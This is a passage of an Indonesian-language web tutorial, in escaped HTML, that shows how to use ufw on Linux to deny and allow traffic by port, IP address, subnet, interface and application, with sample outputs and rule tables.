&lt;/span&gt;&lt;/span&gt;&lt;span&gt;Telnet&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Transmission&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Transparent Proxy&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;VNC&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;WWW&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;WWW Cache&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;WWW Full&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;WWW Secure&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;XMPP&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Yahoo&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;qBittorrent&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;svnserve&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Port&lt;a href=&quot;#port&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kalau kita ingin memblokir akses ke port tertentu, kita bisa gunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ufw&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;deny&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;21&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Output:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Rule added&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Rule added (v6)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Dengan rule ini, akses ke port &lt;strong&gt;21&lt;/strong&gt; dari manapun akan ditolak / diblok.&lt;/p&gt;&lt;p&gt;Status:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Status: active&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;To                         Action      From&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;--                         ------      ----&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere                   DENY        192.168.0.101&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere                   DENY        192.168.0.0/24&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere on enp0s3         DENY        Anywhere&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;22                         DENY        Anywhere&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;21                         DENY        Anywhere&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere (v6) on enp0s3    DENY        Anywhere (v6)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;22 (v6)                    DENY        Anywhere (v6)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;21 (v6)                    DENY        Anywhere (v6)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Allow&lt;a href=&quot;#allow&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita akan mengizinkan &lt;em&gt;traffic/packet/access&lt;/em&gt; menggunakan perintah &lt;strong&gt;allow&lt;/strong&gt; di &lt;strong&gt;&lt;code&gt;ufw&lt;/code&gt;&lt;/strong&gt;. &lt;em&gt;Mostly&lt;/em&gt;, perintahnya sama dengan yang ada di bagian “deny”. Bedanya, kita mengganti perintah deny dengan &lt;strong&gt;allow&lt;/strong&gt;.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Ip Address&lt;a href=&quot;#ip-address-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita bisa mengizinkan akses dari &lt;em&gt;ip address&lt;/em&gt; dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ufw&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;allow&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;192.168.0.101&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Output:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Rule added&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Dengan perintah ini, akses dari &lt;em&gt;ip address&lt;/em&gt; 192.168.0.101 akan diizinkan ke komputer kita.&lt;/p&gt;&lt;p&gt;Status:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Status: active&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;To                         Action      From&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;--                         ------      ----&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere                   ALLOW       192.168.0.101&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Subnet&lt;a href=&quot;#subnet-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk mengizinkan paket yang datang dari subnet tertentu, gunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ufw&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;allow&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;192.168.0.0/24&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Output:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Rule added&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Dengan perintah ini, akses dari &lt;em&gt;ip address&lt;/em&gt; berapapun dari subnet 192.168.0.0/24 akan diizinkan ke komputer kita.&lt;/p&gt;&lt;p&gt;Status:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Status: active&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;To                         Action      From&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;--                         ------      ----&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere                   ALLOW       192.168.0.101&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere                   ALLOW       192.168.0.0/24&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Interface&lt;a href=&quot;#interface-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Jika kita ingin mengizinkan akses ke &lt;em&gt;interface&lt;/em&gt; di komputer kita, perintahnya adalah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ufw&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;allow&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;on&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;enp0s3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Output:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Rule added&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Rule added (v6)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Dengan perintah ini, akses dari manapun akan diizinkan ke interface enp0s3.&lt;/p&gt;&lt;p&gt;Status:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Status: active&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;To                         Action      From&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;--                         ------      ----&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere                   ALLOW       192.168.0.101&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere                   ALLOW       192.168.0.0/24&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere on enp0s3         ALLOW       Anywhere&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere (v6) on enp0s3    ALLOW       Anywhere (v6)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;Kita juga bisa memvariasikan rule ini pada opsi yang lain, misalnya untuk ip address atau subnet yang spesifik.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Apps&lt;a href=&quot;#apps-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Beberapa aplikasi juga dapat diizinkan aksesnya via &lt;code&gt;ufw&lt;/code&gt;, dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ufw&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;allow&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ssh&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Output:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Rule added&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Rule added (v6)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Dengan perintah ini, komputer manapun dapat mengakses &lt;strong&gt;ssh&lt;/strong&gt; di komputer kita.&lt;/p&gt;&lt;p&gt;Status:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Status: active&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;To                         Action      From&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;--                         ------      ----&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere                   ALLOW       192.168.0.101&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere                   ALLOW       192.168.0.0/24&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere on enp0s3         ALLOW       Anywhere&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;22                         ALLOW       Anywhere&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere (v6) on enp0s3    ALLOW       Anywhere (v6)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;22 (v6)                    ALLOW       Anywhere (v6)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Apps List&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Kita juga bisa melihat apa saja applikasi yang tersedia di &lt;code&gt;ufw&lt;/code&gt; dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ufw&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;app&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;list&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Output:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Available applications:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;AIM&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Bonjour&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;CIFS&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;DNS&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Deluge&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;IMAP&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;IMAPS&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;IPP&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;KTorrent&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Kerberos Admin&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  